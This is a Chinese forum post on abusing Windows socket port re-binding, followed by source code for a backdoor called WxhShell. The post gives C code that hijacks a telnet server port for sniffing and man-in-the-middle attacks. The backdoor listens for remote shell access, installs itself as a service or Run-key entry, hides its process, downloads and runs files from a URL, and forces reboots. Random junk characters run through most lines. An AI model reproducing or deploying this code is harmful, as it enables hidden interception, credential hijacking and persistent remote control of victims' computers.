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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6- H81y 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B^'Uh+Y  
H]v"_!(\  
  saddr.sin_family = AF_INET; #$trC)?~q  
iwb]mJUA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .{6?%lt  
@o&.]FZs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rG7S^,5o  
6n9;t\'Gt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'M"JF;*r  
B/#tR^R  
  这意味着什么?意味着可以进行如下的攻击: s':fv[%  
WH Zz?|^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ('1k%`R%  
_ PC}`Y'&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PVBf'  
eM)E3~K:2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CV <@Rgoa  
G/tah@N[7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /rRQ*m_  
-!]Ie4"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z,~"`9>Ss  
lNV%R(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "zJGYBen  
fneg[K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )IIQ{SwQq  
,l[h9J  
  #include ;1Kxqp z_i  
  #include 0(9]m)e  
  #include $#V ^CmW.  
  #include    Kgi| 7w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9T*%CI  
  int main() #A|~s;s>N  
  { ^/+0L[R  
  WORD wVersionRequested; M,Y lhL  
  DWORD ret; Ln;jB&t  
  WSADATA wsaData; +cAN4  
  BOOL val; B"O5P>  
  SOCKADDR_IN saddr; h-VpX6  
  SOCKADDR_IN scaddr; =2%EIZ0oW  
  int err; A[juzOn\  
  SOCKET s; A@/DGrZX  
  SOCKET sc; U:]b&I  
  int caddsize; 1\d$2N"  
  HANDLE mt; v2<roG6.V  
  DWORD tid;   _q([k_4h  
  wVersionRequested = MAKEWORD( 2, 2 ); T W?O  
  err = WSAStartup( wVersionRequested, &wsaData ); UV>^[/^O  
  if ( err != 0 ) { 5 Vm |/  
  printf("error!WSAStartup failed!\n"); [c?']<f4  
  return -1; kP%Hg/f/Ot  
  } g0.D36  
  saddr.sin_family = AF_INET; t`{^gt  
   G+ =6]0HT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5*1wQlL  
xh> /bU!>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NF=FbvNe  
  saddr.sin_port = htons(23); ak50]KYo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G)l[\6Dn  
  { pt8X.f,iA  
  printf("error!socket failed!\n"); r;w_B%9  
  return -1; v>Il #  
  } }+`W[h&u  
  val = TRUE; {+[~;ISL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5=Bj?xb$'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' U(v  
  { GK}?*Lf s  
  printf("error!setsockopt failed!\n"); Yfy6o6*:  
  return -1; yy?|q0  
  } 3m4?l ~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bxP>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^ j@Q2>&?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  1$idF  
h~elF1dG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w;Qo9=-  
  { MAR kTxzi  
  ret=GetLastError(); TMG:fg&E~  
  printf("error!bind failed!\n"); u*Oz1~  
  return -1; sXTt )J  
  } S$]:3  
  listen(s,2); n:he`7.6O  
  while(1) 6K P!o  
  { &+`l $h  
  caddsize = sizeof(scaddr); sVkR7 ^KsG  
  //接受连接请求 *NV`6?o@6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <E@ 7CG.=  
  if(sc!=INVALID_SOCKET) UVu"meZX  
  { oAWk<B(@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UF<|1;'  
  if(mt==NULL) J+\F)k>r  
  { v\-"NHl  
  printf("Thread Creat Failed!\n"); 2xe_Q70II  
  break; w0SzK-&  
  } =&"Vf!7YR7  
  } U`6QD}c"s  
  CloseHandle(mt); g8XGZW!  
  } W~k!qy `  
  closesocket(s); a\}|ikiE  
  WSACleanup(); 8tA.d.8  
  return 0; (%#d._j>fZ  
  }   /F;*[JZIb  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4Bx1L+Cg  
  {  8k J k5  
  SOCKET ss = (SOCKET)lpParam; +7 F7Kh  
  SOCKET sc; T|.Q81.NE  
  unsigned char buf[4096]; q'(WIv@  
  SOCKADDR_IN saddr; #C+Gk4"w  
  long num; phXVuQ  
  DWORD val; T]^F%D%  
  DWORD ret; IU$bP#<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NYP3uGH]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +crAkb}i  
  saddr.sin_family = AF_INET; LOnhFX   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2zFdKs,  
  saddr.sin_port = htons(23); \)M 5o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FG#j0#|*  
  { eU%5CVH.v  
  printf("error!socket failed!\n"); M8[YW|VkP  
  return -1; (X>y)V  
  } S OK2{xCG  
  val = 100; 2jhVmK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o B6" D  
  { #eUfwd6.Y  
  ret = GetLastError(); .qK=lHxT  
  return -1; J`RNik*>  
  } %+I(S`}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'oT}jI  
  { :W1,s53  
  ret = GetLastError(); ,O[vxN1X*  
  return -1; EPa3Yb?BGb  
  } 9d{W/t?NH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8fe"#^"sR  
  { ~JZ Lfw  
  printf("error!socket connect failed!\n"); h[Iu_#HMa  
  closesocket(sc); 'nT#3/rL  
  closesocket(ss); .oK7E(QJ  
  return -1; 8PEOi  
  } 6U&Uyd)  
  while(1) 6~!YEuA  
  { ! 4oIx`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KPR{5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |wLQ)y*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zHdp'J"  
  num = recv(ss,buf,4096,0); &U=f,9H  
  if(num>0) H]-W$V   
  send(sc,buf,num,0); aDOH3Ri0K!  
  else if(num==0) 'D/AL\1{p(  
  break; z9+94<J  
  num = recv(sc,buf,4096,0); * QR7t:([  
  if(num>0) 7q^/.:wlf  
  send(ss,buf,num,0); 2ga}d5lu  
  else if(num==0) :9`1bZ?a  
  break; PR'FSTg  
  } ZGbZu  
  closesocket(ss); xw-q)u  
  closesocket(sc); > Qtyw.n  
  return 0 ; K%gFD?{^q  
  } !6%G%ZG@3-  
V8sY7QK=  
qnS7z%H8  
========================================================== @s@  
)KuvG:+9W  
下边附上一个代码,,WXhSHELL :RQ[(zD]  
<R(2 9QN  
========================================================== d5=xOEv; :  
amSyGQ2  
#include "stdafx.h" &7W6IM   
{S}@P~H =  
#include <stdio.h> }M7kApb>Y  
#include <string.h> "EHc&,B`  
#include <windows.h> 8$vH&Hd I  
#include <winsock2.h> |pgkl`  
#include <winsvc.h> wtUG2 (  
#include <urlmon.h> D1n2Z :9  
/trc&V  
#pragma comment (lib, "Ws2_32.lib") kW~F*  
#pragma comment (lib, "urlmon.lib") )q^vitkjup  
mr1}e VM~!  
#define MAX_USER   100 // 最大客户端连接数 [GP( r  
#define BUF_SOCK   200 // sock buffer (FaT{W{  
#define KEY_BUFF   255 // 输入 buffer #~+#72+x7  
9y5 \4&v  
#define REBOOT     0   // 重启 nAg(lNOWN  
#define SHUTDOWN   1   // 关机 xAjQW=  
w!}1oy  
#define DEF_PORT   5000 // 监听端口 }$)<k  
*X\c $ =*  
#define REG_LEN     16   // 注册表键长度 r+\z0_' w6  
#define SVC_LEN     80   // NT服务名长度 a  98  
x/7G0K2\}  
// 从dll定义API 2mUu3fZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sb @hGS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FJLJ;]`7+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FZ9<Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fsf22  
#CPPdU$  
// wxhshell配置信息 i .N1Cvp&  
struct WSCFG { 0 MIMs#  
  int ws_port;         // 监听端口 B@]7eVo  
  char ws_passstr[REG_LEN]; // 口令 L:M9|/  
  int ws_autoins;       // 安装标记, 1=yes 0=no }$U[5wL,_  
  char ws_regname[REG_LEN]; // 注册表键名 ]M(mq`K  
  char ws_svcname[REG_LEN]; // 服务名 DQ\&5ytP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D5pF:~tQ(j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n@;x!c< +  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YfwJBz D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LJwMM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2&0<$>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :BX{ *P  
n^\;*1%$c@  
}; pRvs;klf  
 |{)xC=  
// default Wxhshell configuration EQ7n'Wqq  
struct WSCFG wscfg={DEF_PORT, DME?kh>7  
    "xuhuanlingzhe", qffSq](D.  
    1, Jyci}CU3\Q  
    "Wxhshell", A+*oT(`  
    "Wxhshell", 9ET+k(wI@  
            "WxhShell Service", \Byk`} 9  
    "Wrsky Windows CmdShell Service", 9JV 3  
    "Please Input Your Password: ", ocqB-C]  
  1, huJq#5?  
  "http://www.wrsky.com/wxhshell.exe", g&3#22z  
  "Wxhshell.exe" b8Rh|"J)d  
    }; p@Y$eZ:O  
SMO%sZ]  
// 消息定义模块 g0j4<\F2\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^D;D8A.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L4pjh&+8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tn0l|GRuZA  
char *msg_ws_ext="\n\rExit."; $Oe58  
char *msg_ws_end="\n\rQuit."; iW@Vw{|i I  
char *msg_ws_boot="\n\rReboot..."; "qTC(F9N$.  
char *msg_ws_poff="\n\rShutdown..."; DRW.NL o  
char *msg_ws_down="\n\rSave to "; ]cqZ!4?_  
a\69,%!:  
char *msg_ws_err="\n\rErr!"; Z4AAg  
char *msg_ws_ok="\n\rOK!"; y)/$ge _U  
tnF9Vj[#%_  
char ExeFile[MAX_PATH]; fuD1U}c  
int nUser = 0; "YzTMKu  
HANDLE handles[MAX_USER]; #* gU[9U~  
int OsIsNt; *_<*bhR<  
te*Y]-&I|/  
SERVICE_STATUS       serviceStatus; sRyw\v-=P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vvsNWA  
2]NAs9aZ  
// 函数声明 l?JO8^Nn  
int Install(void); /GuS IZg"_  
int Uninstall(void); S`c]Fc  
int DownloadFile(char *sURL, SOCKET wsh); @ oz&  
int Boot(int flag); # 5f|1O  
void HideProc(void); \ ~LU 'j  
int GetOsVer(void); Iwt2}E(e  
int Wxhshell(SOCKET wsl); V1`5D7Z  
void TalkWithClient(void *cs); r$r&4d Y  
int CmdShell(SOCKET sock); v!#`W  
int StartFromService(void); Wt+y-ES  
int StartWxhshell(LPSTR lpCmdLine); ^wO_b'@v  
3KG)6)1*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3_oD[ ])A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YoF\ MT]W  
G{f`K^  
// 数据结构和表定义 Ie2w0Cs28  
SERVICE_TABLE_ENTRY DispatchTable[] = ^EUOmVN  
{ 7z g)h  
{wscfg.ws_svcname, NTServiceMain}, [^U;  
{NULL, NULL} #U$YZ#B  
}; 5"}y\  
Pv7f _hw  
// 自我安装  ?+ -/';  
int Install(void) {V%%^Zhwy  
{ 8tV=fSHd  
  char svExeFile[MAX_PATH]; t*Vao  
  HKEY key; npO@Haw  
  strcpy(svExeFile,ExeFile); ^fE\S5P  
[>$\s=` h  
// 如果是win9x系统,修改注册表设为自启动 (RDa,&  
if(!OsIsNt) { lTV@b&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Q SxYV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Yu<%  
  RegCloseKey(key); PG^j}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qXrt0s[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b:FEp'ZS  
  RegCloseKey(key); mh A~eJ  
  return 0; J|gdO+  
    } p|h.@do4   
  } tDC0-N&6S~  
} B_SZ?o  
else { 0a2$P+p  
< v|%K.yd  
// 如果是NT以上系统,安装为系统服务 $@[dm)M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Bb$j=  
if (schSCManager!=0) 'A@qg^e:`  
{ )|U_Z"0H^  
  SC_HANDLE schService = CreateService zB#_:(1qK  
  ( nd$H 3sf  
  schSCManager, ( oQ'4,F  
  wscfg.ws_svcname, 935-{h@k  
  wscfg.ws_svcdisp, hFsA_x+L;  
  SERVICE_ALL_ACCESS, d98))G~W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mJ0}DJiX$  
  SERVICE_AUTO_START, <Jwi ~I=^  
  SERVICE_ERROR_NORMAL, 2YL`3cgfb  
  svExeFile, y 2z{rd  
  NULL, Rro?q  
  NULL, zyaW3th  
  NULL, /hm84La  
  NULL, =d go!k  
  NULL u iBl#J Q  
  ); 6uu^A9x  
  if (schService!=0) X|X4L(i  
  { |RR"'o_E  
  CloseServiceHandle(schService); lo cW_/  
  CloseServiceHandle(schSCManager); TA Ftcs:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zWy ,Om8P  
  strcat(svExeFile,wscfg.ws_svcname); NFB *1_m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8K|J:[7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $T"h";M)s  
  RegCloseKey(key); \bU`  
  return 0; Z7JKaP9{:  
    } gO+\O  
  } nAIH`L"X  
  CloseServiceHandle(schSCManager); S-isL4D.Z  
} mbF(tSy  
} q}#iV$dAj  
F(d:t!  
return 1; X.s*>'  
} n%F-cw  
z<a$q3!#  
// 自我卸载 8jRs =I  
int Uninstall(void) -M6L.gi)oJ  
{ dw~[9oh  
  HKEY key; N5m'To]  
zm3-C%:Bw  
if(!OsIsNt) { ovo/!YJ2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :d.1;st  
  RegDeleteValue(key,wscfg.ws_regname); | z:Q(d06  
  RegCloseKey(key); S"zk!2@C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :-)GNf yGz  
  RegDeleteValue(key,wscfg.ws_regname); 88 {1mA,v  
  RegCloseKey(key); q%>7L<r  
  return 0; 7skljw(  
  } ;>DHD*3X  
} {|z#70  
} $`pd|K`  
else { Dv@ PAnk3C  
U 2bzUxK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <|a=hHPi:  
if (schSCManager!=0) IhE9snJ[  
{ s D_G)c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (_K_`5d;QI  
  if (schService!=0) '@bJlJB9>  
  { ?mMW*ico  
  if(DeleteService(schService)!=0) { W"Z#Fs{n8  
  CloseServiceHandle(schService); z$|;-u|  
  CloseServiceHandle(schSCManager); ZZ("-#?  
  return 0; ]KWK}Zyi  
  } ?W!ry7gXO  
  CloseServiceHandle(schService);  it)ZP H  
  } B!}BM}r  
  CloseServiceHandle(schSCManager); tw<P)V\h  
} 4d`+CD C  
} Q4?EZ_O  
Me,<\rQ  
return 1; 1[SA15h  
} L+.H z&*@  
H@D;e  
// 从指定url下载文件 w>[T&0-N  
int DownloadFile(char *sURL, SOCKET wsh) |n`PESf_  
{ d; =u  
  HRESULT hr; DtI$9`~  
char seps[]= "/"; \0?$wIH?  
char *token; 1HbFtU`y~  
char *file; O9^T3~x[V  
char myURL[MAX_PATH]; d2~l4IL)~  
char myFILE[MAX_PATH]; 5/?P|T   
^H3m\!h  
strcpy(myURL,sURL); % :/_f  
  token=strtok(myURL,seps); L^FcS\r;  
  while(token!=NULL) #!})3_Qc(y  
  { j (ygQ4T  
    file=token; mI"D(bx\  
  token=strtok(NULL,seps); l5k?De_(x  
  } BvK QlT  
&94W-zh  
GetCurrentDirectory(MAX_PATH,myFILE); ZzcPiTSO  
strcat(myFILE, "\\"); I]R9HGJNlJ  
strcat(myFILE, file); ?pG/m%[  
  send(wsh,myFILE,strlen(myFILE),0); ,mKObMu  
send(wsh,"...",3,0); Kkv<"^H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $UvPo0{  
  if(hr==S_OK) W~ruN4q.  
return 0; z vO:"w}  
else iZxt/}1X0  
return 1; #jA)>z\Q^  
ER^QV(IvP8  
} r N5tI.iC  
VagT_D  
// 系统电源模块 zzIr2so  
int Boot(int flag) "9XfQ"P  
{ (=c1  
  HANDLE hToken; KX4],B5 +  
  TOKEN_PRIVILEGES tkp; =Op+v"  
vFQ,5n;fF  
  if(OsIsNt) { P@0Y./Ds  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <f>akT,W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *Y6xvib9*  
    tkp.PrivilegeCount = 1; FTf<c0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kat&U19YH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BKIjNV3  
if(flag==REBOOT) { 2k5/SV X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )T|L,Lp  
  return 0; C6  "  
} l]6% lud8_  
else { %,UPJn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }}r> K}  
  return 0; ;\{`Ci\  
} /*rhtrS)  
  } X}A'Cg0y  
  else { W?Ww2Lo%Y  
if(flag==REBOOT) { =L]Q2V}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  5@!st  
  return 0; yj_4gxJ\  
} -{jdn%Y7CK  
else { bt/ =Kq#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <AoXEu D  
  return 0; `T&jPA9eY  
} `{Tk@A_yd  
} =^;P#kX  
1iBP,:>*  
return 1; "Cz<d w]D  
} y1f:?L-z  
|> enp>  
// win9x进程隐藏模块 </`yd2>  
void HideProc(void) +&=?BC}L9^  
{ gl%`qf6:O  
bBc-^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YN/ }9.  
  if ( hKernel != NULL ) >QkP7Kb  
  { ,  X{>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2?q(cpsN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K`-!uZW:B7  
    FreeLibrary(hKernel); 5Wx~ZQZ  
  } F>hZ{   
X6e/g{S)  
return; ]/X(V|t  
} w n|]{Ww35  
2{|$T2?e  
// 获取操作系统版本 G4 _,  
int GetOsVer(void) eOT+'[3"  
{ XzIx:J6  
  OSVERSIONINFO winfo; )?! [}t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5VW|fI  
  GetVersionEx(&winfo); #'baPqdO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  t+uE  
  return 1; _ QOZ sEe  
  else #dxgB:l)%l  
  return 0; 8 .>/6M  
} Z~  
bC!`@/  
// 客户端句柄模块 >/$Fh:R-  
int Wxhshell(SOCKET wsl) =@x`?oev  
{ W!Gdf^Yy<  
  SOCKET wsh; rZXrT}Xh{W  
  struct sockaddr_in client; W#fZ1E6  
  DWORD myID; k;W@LfP  
6?tlU>A2s  
  while(nUser<MAX_USER) g`^X#-!(  
{ B5%n(,Lx  
  int nSize=sizeof(client); {y=W6uP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [(kB 5 a  
  if(wsh==INVALID_SOCKET) return 1; qFX~[h8i+  
+avMX&%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EI>l-N2  
if(handles[nUser]==0) VXBY8;+Yp  
  closesocket(wsh); )m3Uar  
else e>rRTN  
  nUser++; N7r_77%m0  
  } O)|P,?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AFvgbn8Qh  
T  VmH  
  return 0; :,12")N  
} O`Gs S{$sS  
{#P `^g  
// 关闭 socket V"o7jsFH6n  
void CloseIt(SOCKET wsh) @oF$LMD  
{ hf/2vt m  
closesocket(wsh); `O?TUQGR  
nUser--; qW:)!z3\  
ExitThread(0); c}*2$1  
} V-I(WzR9y  
93qwH%  
// 客户端请求句柄 HjqB^|z  
void TalkWithClient(void *cs) aJL^AG  
{ \I-#1M  
n~V4nj&_T  
  SOCKET wsh=(SOCKET)cs; N..j{FE  
  char pwd[SVC_LEN]; (6CN/A{qe  
  char cmd[KEY_BUFF];  |{* }|  
char chr[1]; 4H5pr  
int i,j; (bOpV>\Q7  
UX3BeUi.)  
  while (nUser < MAX_USER) { [XRCLi}  
XoL JL]+?  
if(wscfg.ws_passstr) { FlfI9mm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - K%,^6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +uWDP .  
  //ZeroMemory(pwd,KEY_BUFF); kg][qn|>J]  
      i=0; 6iEhsL&K  
  while(i<SVC_LEN) { !Fw?H3X!"q  
M<SdPC(+  
  // 设置超时 , P'P^0qJ  
  fd_set FdRead; Qu=LnGo~P  
  struct timeval TimeOut; ONNpiK-  
  FD_ZERO(&FdRead); x\&`>>uA  
  FD_SET(wsh,&FdRead); W"{v2xi  
  TimeOut.tv_sec=8; w{~+EolK  
  TimeOut.tv_usec=0; kt[:@Nda9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mS#zraJn5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -U<Upn)2  
*`j-i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zh5RwQNE~  
  pwd=chr[0]; +,o0-L1D  
  if(chr[0]==0xd || chr[0]==0xa) { 6.5T/D*TT  
  pwd=0; 8<mjh0F-,  
  break; j-CnT)W<  
  } "dR |[a<#g  
  i++; EF pIp4_Y  
    } IchCACK  
2^t#6XBk/  
  // 如果是非法用户,关闭 socket y%sroI('y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9ukg}_Hx  
} JKer//ng4  
7r|(}S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =n^!VXaL]]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); th6+2&B6  
r]W  
while(1) { t9&c E:n  
 tvXW  
  ZeroMemory(cmd,KEY_BUFF); #jAqra._b  
/8VP[i)u  
      // 自动支持客户端 telnet标准   AtR?J"3E  
  j=0; %Pksv}  
  while(j<KEY_BUFF) { L lBN-9p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X7,PEA  
  cmd[j]=chr[0]; o!:8nXw  
  if(chr[0]==0xa || chr[0]==0xd) { {bO|409>W  
  cmd[j]=0; 9]t[J_YM  
  break; h^ -. ]Y  
  } |QV!-LK  
  j++; 2F%W8Y 3  
    } 0y&I/2  
bYz&P`o}  
  // 下载文件 Cf B.ZT  
  if(strstr(cmd,"http://")) { T#pk]c6Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *9)SmS s  
  if(DownloadFile(cmd,wsh)) j@Yi`a(sdm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %{6LUn  
  else \5Vde%!$Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DmXcPJ[9  
  } 2,aPr:]  
  else { +GsWTEz   
#YDr%>j  
    switch(cmd[0]) { dD<fn9t  
  h7s; m  
  // 帮助 yqSs,vz  
  case '?': { DF6c|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (H oqR  
    break; u*  
  } 3]-_q"Co4f  
  // 安装 ?Qb<-~~ j1  
  case 'i': { iCP/P%  
    if(Install()) !ZDzEP*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.y .Mp  
    else G8W#<1LE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P;PQeXKw  
    break; b| SE<\  
    } KYJjwXT28W  
  // 卸载  -C#PQV  
  case 'r': { ,3I^?5  
    if(Uninstall()) =66Nw(E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Ut+yuy  
    else t6c<kIQ:-O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^$%Z! uz  
    break; :V)lbn\  
    } ?j^=u:<  
  // 显示 wxhshell 所在路径 &h*S y  
  case 'p': { OL7_'2_z.  
    char svExeFile[MAX_PATH]; (wc03,K^  
    strcpy(svExeFile,"\n\r"); E&yD8=vw  
      strcat(svExeFile,ExeFile); 9;yn}\N `  
        send(wsh,svExeFile,strlen(svExeFile),0); iVB^,KQ@  
    break; b]E|*  
    } U $Qv>7  
  // 重启 &;LqF#ZL  
  case 'b': { (]/9-\6(#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); reo{*) %  
    if(Boot(REBOOT)) ,(a5@H$f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5q@LxDy,b  
    else { D .vw8H3  
    closesocket(wsh); lq.Te,Y%w  
    ExitThread(0); i?Ss:v^  
    } ~_9"3,~o5  
    break; wPbkUVO  
    } k\Q ,h75  
  // 关机 xr0haN\p"  
  case 'd': { R`F,aIJ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L]a`"CH:a$  
